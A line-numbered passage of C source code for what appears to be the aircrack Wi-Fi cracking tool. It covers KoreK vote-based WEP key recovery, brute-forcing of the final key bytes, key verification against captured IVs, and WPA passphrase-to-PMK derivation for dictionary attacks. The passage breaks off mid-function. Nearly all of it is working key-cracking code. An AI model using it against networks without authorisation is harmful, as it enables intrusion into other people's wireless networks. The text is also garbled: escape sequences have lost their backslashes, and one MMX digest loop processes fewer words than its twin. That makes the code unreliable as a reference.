  801.                     Kq = 1 - dq; votes[A_u5_3][Kq]++;
  802.                 }
  803.             }
  804.             if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 )  &&
  805.                 ( io1 != 1 ) && ( io1 != S[S1] ) )
  806.             {
  807.                 Kq = io1 - dq; votes[A_s5_1][Kq]++;
  808.             }
  809.             if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) )
  810.             {
  811.                 if( o2 == S1 )
  812.                 {
  813.                     jq = Si[(S1 - S2) & 0xFF];
  814.                     if( ( jq != 1 ) && ( jq != 2 ) )
  815.                     {
  816.                         Kq = jq - dq; votes[A_s5_2][Kq]++;
  817.                     }
  818.                 }
  819.                 else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
  820.                 {
  821.                     jq = io2;
  822.                     if( ( jq != 1 ) && ( jq != 2 ) )
  823.                     {
  824.                         Kq = jq - dq; votes[A_s5_3][Kq]++;
  825.                     }
  826.                 }
  827.             }
  828.             if( ( S[1] != 2 ) && ( S[2] != 0 ) )
  829.             {
  830.                 J2 = S[1] + S[2];
  831.                 if( J2 < q )
  832.                 {
  833.                     t2 = S[J2] + S[2];
  834.                     if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
  835.                         && ( io2 != J2 ) )
  836.                     {
  837.                         Kq = io2 - dq; votes[A_s3][Kq]++;
  838.                     }
  839.                 }
  840.             }
  841.             if( S1 == 2 )
  842.             {
  843.                 if( q == 4 )
  844.                 {
  845.                     if( o2 == 0 )
  846.                     {
  847.                         Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
  848.                     }
  849.                     else
  850.                     {
  851.                         if( ( jj[1] == 2 ) && ( io2 == 0 ) )
  852.                         {
  853.                             Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
  854.                         }
  855.                         if( ( jj[1] == 2 ) && ( io2 == 2 ) )
  856.                         {
  857.                             Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
  858.                         }
  859.                     }
  860.                 }
  861.                 else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
  862.                          ( io2 != 1 ) && ( io2 != 4 ) )
  863.                 {
  864.                     Kq = io2 - dq; votes[A_u5_4][Kq]++;
  865.                 }
  866.             }
  867.         }
  868.         /* END: KoreK attacks */
  869.         if( safe_write( cm_pipe[cid][1], votes,
  870.                 sizeof( votes ) ) != sizeof( votes ) )
  871.         {
  872.             perror( "write failed" );
  873.             kill( 0, SIGTERM );
  874.             _exit( FAILURE );
  875.         }
  876.     }
  877.     return( 0 );
  878. }
  879. /* display the current votes */
  880. void show_wep_stats( int B, int force )
  881. {
  882.     float delta;
  883.     struct winsize ws;
  884.     int i, et_h, et_m, et_s;
  885.     static int is_cleared = 0;
  886.     if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
  887.     {
  888.         ws.ws_row = 25;
  889.         ws.ws_col = 80;
  890.     }
  891.     if( chrono( &t_stats, 0 ) < 0.1 && force == 0 )
  892.         return;
  893.     chrono( &t_stats, 1 );
  894.     delta = chrono( &t_begin, 0 );
  895.     et_h =   delta / 3600;
  896.     et_m = ( delta - et_h * 3600 ) / 60;
  897.     et_s =   delta - et_h * 3600 - et_m * 60;
  898.     if( is_cleared == 0 )
  899.     {
  900.         is_cleared++;
  901.         if( opt.l33t )
  902.             printf( "33[40m" );
  903.         printf( "33[2J" );
  904.     }
  905.     if( opt.l33t )
  906.         printf( "33[34;1m" );
  907.     printf( "33[2;%dHaircrack %d.%dnn", (ws.ws_col - 12) / 2,
  908.             _MAJ, _MIN );
  909.     if( opt.l33t )
  910.         printf( "33[33;1m" );
  911.     printf( "33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)33[K",
  912.             (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now );
  913.     if( opt.l33t )
  914.         printf( "33[32;22m" );
  915.     printf( "33[7;4HKB    depth   byte(vote)n" );
  916.     for( i = 0; i <= B; i++ )
  917.     {
  918.         int j, k = ( ws.ws_col - 20 ) / 9;
  919.         if( opt.l33t )
  920.             printf( "   %2d  33[1m%3d33[22m/%3d   ",
  921.                     i, wep.depth[i], wep.fudge[i] );
  922.         else
  923.             printf( "   %2d  %3d/%3d   ",
  924.                     i, wep.depth[i], wep.fudge[i] );
  925.         for( j = wep.depth[i]; j < k + wep.depth[i]; j++ )
  926.         {
  927.             if( j >= 256 ) break;
  928.             if( wep.poll[i][j].val == 32767 )
  929.             {
  930.                 if( opt.l33t )
  931.                     printf( "33[1m%02X33[22m(+inf) ",
  932.                             wep.poll[i][j].idx );
  933.                 else
  934.                     printf( "%02X(+inf) ", wep.poll[i][j].idx );
  935.             }
  936.             else
  937.             {
  938.                 if( opt.l33t )
  939.                     printf( "33[1m%02X33[22m(%4d) ",
  940.                             wep.poll[i][j].idx,
  941.                             wep.poll[i][j].val );
  942.                 else
  943.                     printf( "%02X(%4d) ",  wep.poll[i][j].idx,
  944.                                            wep.poll[i][j].val );
  945.             }
  946.         }
  947.         printf( "n" );
  948.     }
  949.     if( B < opt.keylen - 1 )
  950.         printf( "33[J" );
  951.     printf( "n" );
  952. }
  953. /* test if the current WEP key is valid */
  954. int check_wep_key( int B )
  955. {
  956.     uchar K[64];
  957.     uchar S[256];
  958.     uchar R[256];
  959.     uchar x1, x2;
  960.     unsigned long xv;
  961.     int i, j, n, bad;
  962.     int nb_ascii;
  963.     nb_tried++;
  964.     bad = 0;
  965.     memcpy( K + 3, wep.key, opt.keylen );
  966.     for( i = 0; i < 256; i++ )
  967.         R[i] = i;
  968.     for( n = 0; n < 32; n++ )
  969.     {
  970.         xv = 5 * ( rand() % wep.nb_ivs );
  971.         memcpy( K, &wep.ivbuf[xv], 3 );
  972.         memcpy( S, R, 256 );
  973.         for( i = j = 0; i < 256; i++ )
  974.         {
  975.             j = ( j + S[i] + K[i % (3 + opt.keylen)]) & 0xFF;
  976.             SWAP( S[i], S[j] );
  977.         }
  978.         i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]);
  979.         x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
  980.         i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
  981.         x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
  982.         if( ( x1 != 0xAA || x2 != 0xAA ) &&
  983.             ( x1 != 0xE0 || x2 != 0xE0 ) &&
  984.             ( x1 != 0x42 || x2 != 0x42 ) )
  985.             bad++;
  986.         if( bad > 2 )
  987.             return( FAILURE );
  988.     }
  989.     nb_ascii = 0;
  990.     for( i = 0; i < opt.keylen; i++ )
  991.         if(   wep.key[i] == 0 ||
  992.             ( wep.key[i] >= 32 && wep.key[i] < 127 ) )
  993.             nb_ascii++;
  994.     if( opt.is_quiet )
  995.         printf( "KEY FOUND! [ " );
  996.     else
  997.     {
  998.         show_wep_stats( B - 1, 1 );
  999.         if( opt.l33t )
  1000.             printf( "33[31;1m" );
  1001.         n = ( 80 - 14 - opt.keylen * 3 ) / 2;
  1002.         if( 100 * nb_ascii > 75 * opt.keylen )
  1003.             n -= ( opt.keylen + 4 ) / 2;
  1004.         if( n <= 0 ) n = 0;
  1005.         printf( "33[K33[%dCKEY FOUND! [ ", n );
  1006.     }
  1007.     for( i = 0; i < opt.keylen - 1; i++ )
  1008.         printf( "%02X:", wep.key[i] );
  1009.     printf( "%02X ] ",   wep.key[i] );
  1010.     if( 100 * nb_ascii > 75 * opt.keylen )
  1011.     {
  1012.         printf( "(" );
  1013.         for( i = 0; i < opt.keylen; i++ )
  1014.             printf( "%c", ( ( wep.key[i] >  31 && wep.key[i] < 127 ) ||
  1015.                               wep.key[i] > 160 ) ? wep.key[i] : '.' );
  1016.         printf( ")" );
  1017.     }
  1018.     if( opt.l33t )
  1019.         printf( "33[32;22m" );
  1020.     printf( "n" );
  1021.     return( SUCCESS );
  1022. }
  1023. /* routine used to sort the votes */
  1024. int cmp_votes( const void *bs1, const void *bs2 )
  1025. {
  1026.     if( ((vote *) bs1)->val < ((vote *) bs2)->val )
  1027.         return(  1 );
  1028.     if( ((vote *) bs1)->val > ((vote *) bs2)->val )
  1029.         return( -1 );
  1030.     return( 0 );
  1031. }
  1032. /* sum up the votes and sort them */
  1033. int calc_poll( int B )
  1034. {
  1035.     int i, n, cid, *vi;
  1036.     int votes[N_ATTACKS][256];
  1037.     /* send the current keybyte # to each thread */
  1038.     for( cid = 0; cid < opt.nbcpu; cid++ )
  1039.     {
  1040.         n = sizeof( int );
  1041.         if( safe_write( mc_pipe[cid][1], &B, n ) != n )
  1042.         {
  1043.             perror( "write failed" );
  1044.             kill( 0, SIGTERM );
  1045.             _exit( FAILURE );
  1046.         }
  1047.     }
  1048.     /* collect the votes, multiply by the korek coeffs */
  1049.     for( i = 0; i < 256; i++ )
  1050.     {
  1051.         wep.poll[B][i].idx = i;
  1052.         wep.poll[B][i].val = 0;
  1053.     }
  1054.     for( cid = 0; cid < opt.nbcpu; cid++ )
  1055.     {
  1056.         n = sizeof( votes );
  1057.         if( safe_read( cm_pipe[cid][0], votes, n ) != n )
  1058.         {
  1059.             perror( "read failed" );
  1060.             kill( 0, SIGTERM );
  1061.             _exit( FAILURE );
  1062.         }
  1063.         for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ )
  1064.             for( i = 0; i < 256; i++, vi++ )
  1065.                 wep.poll[B][i].val += *vi * K_COEFF[n];
  1066.     }
  1067.     /* set votes to the max if the keybyte is user-defined */
  1068.     if( B < opt.debug[0] )
  1069.         wep.poll[B][opt.debug[1 + B]].val = 32767;
  1070.     /* if option is set, restrict keyspace to alpha-numeric */
  1071.     if( opt.is_alnum )
  1072.     {
  1073.         for( i = 1; i < 32; i++ )
  1074.             wep.poll[B][i].val = -1;
  1075.         for( i = 127; i < 256; i++ )
  1076.             wep.poll[B][i].val = -1;
  1077.     }
  1078.     /* if option is set, restrict keyspace to BCD hex digits */
  1079.     if( opt.is_bcdonly )
  1080.     {
  1081.         for( i = 1; i < 256; i++ )
  1082.             if( i > 0x99 || ( i & 0x0F ) > 0x09 )
  1083.                 wep.poll[B][i].val = -1;
  1084.     }
  1085.     /* sort the votes, highest ones first */
  1086.     qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes );
  1087.     return( SUCCESS );
  1088. }
  1089. int update_ivbuf( void )
  1090. {
  1091.     int n;
  1092.     struct AP_info *ap_cur;
  1093.     /* 1st pass: compute the total number of available IVs */
  1094.     wep.nb_ivs_now = 0;
  1095.     wep.nb_aps = 0;
  1096.     ap_cur = ap_1st;
  1097.     while( ap_cur != NULL )
  1098.     {
  1099.         if( ap_cur->crypt == 2 && ap_cur->target )
  1100.         {
  1101.             wep.nb_ivs_now += ap_cur->nb_ivs;
  1102.             wep.nb_aps++;
  1103.         }
  1104.         ap_cur = ap_cur->next;
  1105.     }
  1106.     /* 2nd pass: create the main IVs buffer if necessary */
  1107.     if( wep.nb_ivs == 0 ||
  1108.         ( opt.keylen ==  5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) ||
  1109.         ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) )
  1110.     {
  1111.         /* one buffer to rule them all */
  1112.         if( wep.ivbuf != NULL )
  1113.         {
  1114.             free( wep.ivbuf );
  1115.             wep.ivbuf = NULL;
  1116.         }
  1117.         wep.nb_ivs = 0;
  1118.         ap_cur = ap_1st;
  1119.         while( ap_cur != NULL )
  1120.         {
  1121.             if( ap_cur->crypt == 2 && ap_cur->target )
  1122.             {
  1123.                 n = ap_cur->nb_ivs;
  1124.                 if( ( wep.ivbuf = realloc( wep.ivbuf,
  1125.                         ( wep.nb_ivs + n ) * 5 ) ) == NULL )
  1126.                 {
  1127.                     perror( "realloc failed" );
  1128.                     kill( 0, SIGTERM );
  1129.                     _exit( FAILURE );
  1130.                 }
  1131.                 memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n );
  1132.                 wep.nb_ivs += n;
  1133.             }
  1134.             ap_cur = ap_cur->next;
  1135.         }
  1136.         return( RESTART );
  1137.     }
  1138.     return( SUCCESS );
  1139. }
  1140. /* standard attack mode: */
  1141. /* this routine gathers and sorts the votes, then recurses until it *
  1142.  * reaches B == keylen. It also stops when the current keybyte vote *
  1143.  * is lower than the highest vote divided by the fudge factor.      */
  1144. int do_wep_crack1( int B )
  1145. {
  1146.     int i, j;
  1147. get_ivs:
  1148.     switch( update_ivbuf() )
  1149.     {
  1150.         case FAILURE: return( FAILURE );
  1151.         case RESTART: return( RESTART );
  1152.         default: break;
  1153.     }
  1154.     if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) ||
  1155.         ( wep.nb_ivs_now <  32 && opt.debug[0] != 0 ) )
  1156.     {
  1157.         if( ! opt.no_stdin )
  1158.         {
  1159.             printf(
  1160. "Not enough IVs available. You need about 250.000 IVs to crackn"
  1161. "40-bit WEP, and more than 800.000 IVs to crack a 104-bit key.n" );
  1162.             kill( 0, SIGTERM );
  1163.             _exit( FAILURE );
  1164.         }
  1165.         else
  1166.         {
  1167.             printf( "Read %ld packets, got %ld IVs...r",
  1168.                     nb_pkt, wep.nb_ivs_now );
  1169.             fflush( stdout );
  1170.             sleep( 1 );
  1171.             goto get_ivs;
  1172.         }
  1173.     }
  1174.     /* if last keybyte reached, check if the key is valid */
  1175.     if( B == opt.keylen )
  1176.     {
  1177.         if( ! opt.is_quiet )
  1178.             show_wep_stats( B - 1, 0 );
  1179.         return( check_wep_key( B ) );
  1180.     }
  1181.     /* now compute the poll resultst for keybyte B */
  1182.     if( calc_poll( B ) != SUCCESS )
  1183.         return( FAILURE );
  1184.     /* fudge threshold = higest vote divided by fudge factor */
  1185.     for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
  1186.         if( (float) wep.poll[B][wep.fudge[B]].val <
  1187.             (float) wep.poll[B][0].val / opt.ffact )
  1188.             break;
  1189.     /* try the most likely n votes, where n is the fudge threshold */
  1190.     for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
  1191.     {
  1192.         switch( update_ivbuf() )
  1193.         {
  1194.             case FAILURE: return( FAILURE );
  1195.             case RESTART: return( RESTART );
  1196.             default: break;
  1197.         }
  1198.         wep.key[B] = wep.poll[B][wep.depth[B]].idx;
  1199.         if( ! opt.is_quiet )
  1200.             show_wep_stats( B, 0 );
  1201.         if( B == 4 && opt.keylen == 13 )
  1202.         {
  1203.             /* even when cracking 104-bit WEP, *
  1204.              * check if the 40-bit key matches */
  1205.             opt.keylen = 5;
  1206.             if( check_wep_key( B ) == SUCCESS )
  1207.                 return( SUCCESS );
  1208.             opt.keylen = 13;
  1209.         }
  1210.         if( B + 3 == opt.keylen && opt.do_brute )
  1211.         {
  1212.             /* as noted by Simon Marechal, it's more efficient
  1213.              * to just bruteforce the last two keybytes. */
  1214.             for( i = 0; i < 256; i++ )
  1215.             {
  1216.                 wep.key[B + 1] = i;
  1217.                 for( j = 0; j < 256; j++ )
  1218.                 {
  1219.                     wep.key[B + 2] = j;
  1220.                     if( check_wep_key( B + 1 ) == SUCCESS )
  1221.                         return( SUCCESS );
  1222.                 }
  1223.             }
  1224.         }
  1225.         else
  1226.         {
  1227.             switch( do_wep_crack1( B + 1 ) )
  1228.             {
  1229.                 case SUCCESS: return( SUCCESS );
  1230.                 case RESTART: return( RESTART );
  1231.                 default: break;
  1232.             }
  1233.         }
  1234.     }
  1235.     return( FAILURE );
  1236. }
  1237. /* experimental single bruteforce attack */
  1238. int do_wep_crack2( int B )
  1239. {
  1240.     int i, j;
  1241.     switch( update_ivbuf() )
  1242.     {
  1243.         case FAILURE: return( FAILURE );
  1244.         case RESTART: return( RESTART );
  1245.         default: break;
  1246.     }
  1247.     if( wep.nb_ivs_now / opt.keylen < 60000 )
  1248.     {
  1249.         printf(
  1250. "Not enough IVs available. This option is only meant to be usedn"
  1251. "if the standard attack method fails with more than %d IVs.n",
  1252.             opt.keylen * 60000 );
  1253.         kill( 0, SIGTERM );
  1254.         _exit( FAILURE );
  1255.     }
  1256.     for( i = 0; i <= B; i++ )
  1257.     {
  1258.         if( calc_poll( i ) != SUCCESS )
  1259.             return( FAILURE );
  1260.         wep.key[i] = wep.poll[i][0].idx;
  1261.         wep.fudge[i] = 1;
  1262.         wep.depth[i] = 0;
  1263.         if( ! opt.is_quiet )
  1264.             show_wep_stats( i, 0 );
  1265.     }
  1266.     for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ )
  1267.         if( (float) wep.poll[B][wep.fudge[B]].val <
  1268.             (float) wep.poll[B][0].val / opt.ffact )
  1269.             break;
  1270.     for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ )
  1271.     {
  1272.         switch( update_ivbuf() )
  1273.         {
  1274.             case FAILURE: return( FAILURE );
  1275.             case RESTART: return( RESTART );
  1276.             default: break;
  1277.         }
  1278.         wep.key[B] = wep.poll[B][wep.depth[B]].idx;
  1279.         if( ! opt.is_quiet )
  1280.             show_wep_stats( B, 0 );
  1281.         for( i = B + 1; i < opt.keylen - 2; i++ )
  1282.         {
  1283.             if( calc_poll( i ) != SUCCESS )
  1284.                 return( FAILURE );
  1285.             wep.key[i] = wep.poll[i][0].idx;
  1286.             wep.fudge[i] = 1;
  1287.             wep.depth[i] = 0;
  1288.             if( ! opt.is_quiet )
  1289.                 show_wep_stats( i, 0 );
  1290.         }
  1291.         for( i = 0; i < 256; i++ )
  1292.         {
  1293.             wep.key[opt.keylen - 2] = i;
  1294.             for( j = 0; j < 256; j++ )
  1295.             {
  1296.                 wep.key[opt.keylen - 1] = j;
  1297.                 if( check_wep_key( opt.keylen - 2 ) == SUCCESS )
  1298.                     return( SUCCESS );
  1299.             }
  1300.         }
  1301.     }
  1302.     return( FAILURE );
  1303. }
  1304. /* derive the PMK from the passphrase and the essid */
  1305. void calc_pmk( char *key, char *essid, uchar pmk[40] )
  1306. {
  1307.     int i, j, slen;
  1308.     uchar buffer[65];
  1309.     sha1_context ctx_ipad;
  1310.     sha1_context ctx_opad;
  1311.     sha1_context sha1_ctx;
  1312.     slen = strlen( essid ) + 4;
  1313.     /* setup the inner and outer contexts */
  1314.     memset( buffer, 0, sizeof( buffer ) );
  1315.     strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );
  1316.     for( i = 0; i < 64; i++ )
  1317.         buffer[i] ^= 0x36;
  1318.     sha1_starts( &ctx_ipad );
  1319.     sha1_update( &ctx_ipad, buffer, 64 );
  1320.     for( i = 0; i < 64; i++ )
  1321.         buffer[i] ^= 0x6A;
  1322.     sha1_starts( &ctx_opad );
  1323.     sha1_update( &ctx_opad, buffer, 64 );
  1324.     /* iterate HMAC-SHA1 over itself 8192 times */
  1325.     essid[slen - 1] = '1';
  1326.     hmac_sha1( (uchar *) key, strlen( key ),
  1327.                (uchar *) essid, slen, pmk );
  1328.     memcpy( buffer, pmk, 20 );
  1329.     for( i = 1; i < 4096; i++ )
  1330.     {
  1331.         memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
  1332.         sha1_update( &sha1_ctx, buffer, 20 );
  1333.         sha1_finish( &sha1_ctx, buffer );
  1334.         memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
  1335.         sha1_update( &sha1_ctx, buffer, 20 );
  1336.         sha1_finish( &sha1_ctx, buffer );
  1337.         for( j = 0; j < 20; j++ )
  1338.             pmk[j] ^= buffer[j];
  1339.     }
  1340.     essid[slen - 1] = '2';
  1341.     hmac_sha1( (uchar *) key, strlen( key ),
  1342.                (uchar *) essid, slen, pmk + 20 );
  1343.     memcpy( buffer, pmk + 20, 20 );
  1344.     for( i = 1; i < 4096; i++ )
  1345.     {
  1346.         memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
  1347.         sha1_update( &sha1_ctx, buffer, 20 );
  1348.         sha1_finish( &sha1_ctx, buffer );
  1349.         memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
  1350.         sha1_update( &sha1_ctx, buffer, 20 );
  1351.         sha1_finish( &sha1_ctx, buffer );
  1352.         for( j = 0; j < 20; j++ )
  1353.             pmk[j + 20] ^= buffer[j];
  1354.     }
  1355. }
  1356. /* each thread computes two pairwise master keys at a time */
  1357. int crack_wpa_thread( void *arg )
  1358. {
  1359.     char  essid[36];
  1360.     char  key1[128], key2[128];
  1361.     uchar pmk1[128], pmk2[128];
  1362. #ifdef __i386__
  1363.     uchar k_ipad[128], ctx_ipad[40];
  1364.     uchar k_opad[128], ctx_opad[40];
  1365.     uchar buffer[128], sha1_ctx[40];
  1366.     uchar wrkbuf[640];
  1367.     uint i, *u, *v, *w;
  1368. #endif
  1369.     int slen, cid = (long) arg;
  1370.     /* receive the essid */
  1371.     memset( essid, 0, sizeof( essid ) );
  1372.     if( safe_read( mc_pipe[cid][0], (void *) essid, 32 ) != 32 )
  1373.     {
  1374.         perror( "read failed" );
  1375.         kill( 0, SIGTERM );
  1376.         _exit( FAILURE );
  1377.     }
  1378.     slen = strlen( essid ) + 4;
  1379.     while( 1 )
  1380.     {
  1381.         /* receive two passphrases */
  1382.         memset( key1, 0, sizeof( key1 ) );
  1383.         memset( key2, 0, sizeof( key2 ) );
  1384.         if( safe_read( mc_pipe[cid][0], (void *) key1, 128 ) != 128 ||
  1385.             safe_read( mc_pipe[cid][0], (void *) key2, 128 ) != 128 )
  1386.         {
  1387.             perror( "read passphrase failed" );
  1388.             kill( 0, SIGTERM );
  1389.             _exit( FAILURE );
  1390.         }
  1391.         key1[127] = '';
  1392.         key2[127] = '';
  1393. #ifdef __i386__
  1394.         /* MMX available, so compute two PMKs in a single row */
  1395.         memset( k_ipad, 0, sizeof( k_ipad ) );
  1396.         memset( k_opad, 0, sizeof( k_opad ) );
  1397.         memcpy( k_ipad, key1, strlen( key1 ) );
  1398.         memcpy( k_opad, key1, strlen( key1 ) );
  1399.         memcpy( k_ipad + 64, key2, strlen( key2 ) );
  1400.         memcpy( k_opad + 64, key2, strlen( key2 ) );
  1401.         u = (uint *) ( k_ipad      );
  1402.         v = (uint *) ( k_ipad + 64 );
  1403.         w = (uint *) buffer;
  1404.         for( i = 0; i < 16; i++ )
  1405.         {
  1406.             /* interleave the data */
  1407.             *w++ = *u++ ^ 0x36363636;
  1408.             *w++ = *v++ ^ 0x36363636;
  1409.         }
  1410.         shammx_init( ctx_ipad );
  1411.         shammx_data( ctx_ipad, buffer, wrkbuf );
  1412.         u = (uint *) ( k_opad      );
  1413.         v = (uint *) ( k_opad + 64 );
  1414.         w = (uint *) buffer;
  1415.         for( i = 0; i < 16; i++ )
  1416.         {
  1417.             *w++ = *u++ ^ 0x5C5C5C5C;
  1418.             *w++ = *v++ ^ 0x5C5C5C5C;
  1419.         }
  1420.         shammx_init( ctx_opad );
  1421.         shammx_data( ctx_opad, buffer, wrkbuf );
  1422.         memset( buffer, 0, sizeof( buffer ) );
  1423.         /* use the buffer, luke */
  1424.         buffer[ 40] = buffer[ 44] = 0x80;
  1425.         buffer[122] = buffer[126] = 0x02;
  1426.         buffer[123] = buffer[127] = 0xA0;
  1427.         essid[slen - 1] = '1';
  1428.         hmac_sha1( (uchar *) key1, strlen( key1 ),
  1429.                    (uchar *) essid, slen,  pmk1 );
  1430.         hmac_sha1( (uchar *) key2, strlen( key2 ),
  1431.                    (uchar *) essid, slen,  pmk2 );
  1432.         u = (uint *) pmk1;
  1433.         v = (uint *) pmk2;
  1434.         w = (uint *) buffer;
  1435.         *w++ = *u++; *w++ = *v++;
  1436.         *w++ = *u++; *w++ = *v++;
  1437.         *w++ = *u++; *w++ = *v++;
  1438.         *w++ = *u++; *w++ = *v++;
  1439.         *w++ = *u++; *w++ = *v++;
  1440.         for( i = 1; i < 4096; i++ )
  1441.         {
  1442.             memcpy( sha1_ctx, ctx_ipad, 40 );
  1443.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1444.             shammx_ends( sha1_ctx, buffer );
  1445.             memcpy( sha1_ctx, ctx_opad, 40 );
  1446.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1447.             shammx_ends( sha1_ctx, buffer );
  1448.             u = (uint *) pmk1;
  1449.             v = (uint *) pmk2;
  1450.             w = (uint *) buffer;
  1451.             /* de-interleave the digests */
  1452.             *u++ ^= *w++; *v++ ^= *w++;
  1453.             *u++ ^= *w++; *v++ ^= *w++;
  1454.             *u++ ^= *w++; *v++ ^= *w++;
  1455.             *u++ ^= *w++; *v++ ^= *w++;
  1456.             *u++ ^= *w++; *v++ ^= *w++;
  1457.         }
  1458.         essid[slen - 1] = '2';
  1459.         hmac_sha1( (uchar *) key1, strlen( key1 ),
  1460.                    (uchar *) essid, slen,  pmk1 + 20 );
  1461.         hmac_sha1( (uchar *) key2, strlen( key2 ),
  1462.                    (uchar *) essid, slen,  pmk2 + 20 );
  1463.         u = (uint *) ( pmk1 + 20 );
  1464.         v = (uint *) ( pmk2 + 20 );
  1465.         w = (uint *) buffer;
  1466.         *w++ = *u++; *w++ = *v++;
  1467.         *w++ = *u++; *w++ = *v++;
  1468.         *w++ = *u++; *w++ = *v++;
  1469.         *w++ = *u++; *w++ = *v++;
  1470.         *w++ = *u++; *w++ = *v++;
  1471.         for( i = 1; i < 4096; i++ )
  1472.         {
  1473.             memcpy( sha1_ctx, ctx_ipad, 40 );
  1474.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1475.             shammx_ends( sha1_ctx, buffer );
  1476.             memcpy( sha1_ctx, ctx_opad, 40 );
  1477.             shammx_data( sha1_ctx, buffer, wrkbuf );
  1478.             shammx_ends( sha1_ctx, buffer );
  1479.             u = (uint *) ( pmk1 + 20 );
  1480.             v = (uint *) ( pmk2 + 20 );
  1481.             w = (uint *) buffer;
  1482.             *u++ ^= *w++; *v++ ^= *w++;
  1483.             *u++ ^= *w++; *v++ ^= *w++;
  1484.             *u++ ^= *w++; *v++ ^= *w++;
  1485.         }
  1486. #else
  1487.         /* not x86, use the generic SHA-1 C code */
  1488.         calc_pmk( key1, essid, pmk1 );
  1489.         calc_pmk( key2, essid, pmk2 );
  1490. #endif
  1491.         /* send the passphrase & master keys */
  1492.         if( safe_write( cm_pipe[cid][1], (void *) key1, 128 ) != 128 ||
  1493.             safe_write( cm_pipe[cid][1], (void *) key2, 128 ) != 128 ||
  1494.             safe_write( cm_pipe[cid][1], (void *) pmk1,  32 ) !=  32 ||
  1495.             safe_write( cm_pipe[cid][1], (void *) pmk2,  32 ) !=  32 )
  1496.         {
  1497.             perror( "write pmk failed" );
  1498.             kill( 0, SIGTERM );
  1499.             _exit( FAILURE );
  1500.         }
  1501.     }
  1502. }
  1503. /* display the current wpa key info, matrix-like */
  1504. void show_wpa_stats( char *key, uchar pmk[32], uchar ptk[64],
  1505.                      uchar mic[16], int force )
  1506. {
  1507.     float delta;
  1508.     int i, et_h, et_m, et_s;
  1509.     char tmpbuf[27];
  1510. #ifdef __i386__
  1511.     __asm__( "emms" );      /* clean up the fp regs */
  1512. #endif
  1513.     if( chrono( &t_stats, 0 ) < 0.08 && force == 0 )
  1514.         return;
  1515.     chrono( &t_stats, 1 );
  1516.     delta = chrono( &t_begin, 0 );
  1517.     et_h =   delta / 3600;
  1518.     et_m = ( delta - et_h * 3600 ) / 60;
  1519.     et_s =   delta - et_h * 3600 - et_m * 60;
  1520.     if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 )
  1521.     {
  1522.         t_kprev.tv_sec += 3;
  1523.         nb_kprev /= 2;
  1524.     }
  1525.     if( opt.l33t ) printf( "33[33;1m" );
  1526.     printf( "33[5;20H[%02d:%02d:%02d] %lld keys tested "
  1527.             "(%2.2f k/s)", et_h, et_m, et_s,
  1528.             nb_tried, (float) nb_kprev / delta );
  1529.     memset( tmpbuf, ' ', sizeof( tmpbuf ) );
  1530.     memcpy( tmpbuf, key, strlen( key ) > 27 ? 27 :
  1531.                          strlen( key ) );
  1532.     tmpbuf[27] = '';
  1533.     if( opt.l33t ) printf( "33[37;1m" );
  1534.     printf( "33[8;24HCurrent passphrase: %sn", tmpbuf );
  1535.     if( opt.l33t ) printf( "33[32;22m" );
  1536.     printf( "33[11;7HMaster Key     : " );
  1537.     if( opt.l33t ) printf( "33[32;1m" );
  1538.     for( i = 0; i < 32; i++ )
  1539.     {
  1540.         if( i == 16 ) printf( "n33[23C" );
  1541.         printf( "%02X ", pmk[i] );
  1542.     }
  1543.     if( opt.l33t ) printf( "33[32;22m" );
  1544.     printf( "33[14;7HTranscient Key : " );
  1545.     if( opt.l33t ) printf( "33[32;1m" );
  1546.     for( i = 0; i < 64; i++ )
  1547.     {
  1548.         if( i > 0 && i % 16 == 0 ) printf( "n33[23C" );
  1549.         printf( "%02X ", ptk[i] );
  1550.     }
  1551.     if( opt.l33t ) printf( "33[32;22m" );
  1552.     printf( "33[19;7HEAPOL HMAC     : " );
  1553.     if( opt.l33t ) printf( "33[32;1m" );
  1554.     for( i = 0; i < 16; i++ )
  1555.         printf( "%02X ", mic[i] );
  1556.     printf( "n" );
  1557. }
  1558. int do_wpa_crack( struct AP_info *ap )
  1559. {
  1560.     int i, cid;
  1561.     char key1[128], key2[128];
  1562.     uchar pke[100];
  1563.     uchar pmk1[40], ptk1[80];
  1564.     uchar pmk2[40], ptk2[80];
  1565.     uchar mic1[20], mic2[20];
  1566.     /* send the ESSID to each thread */
  1567.     for( cid = 0; cid < opt.nbcpu; cid++ )
  1568.     {
  1569.         if( safe_write( mc_pipe[cid][1], (void *) ap->essid, 32 ) != 32 )
  1570.         {
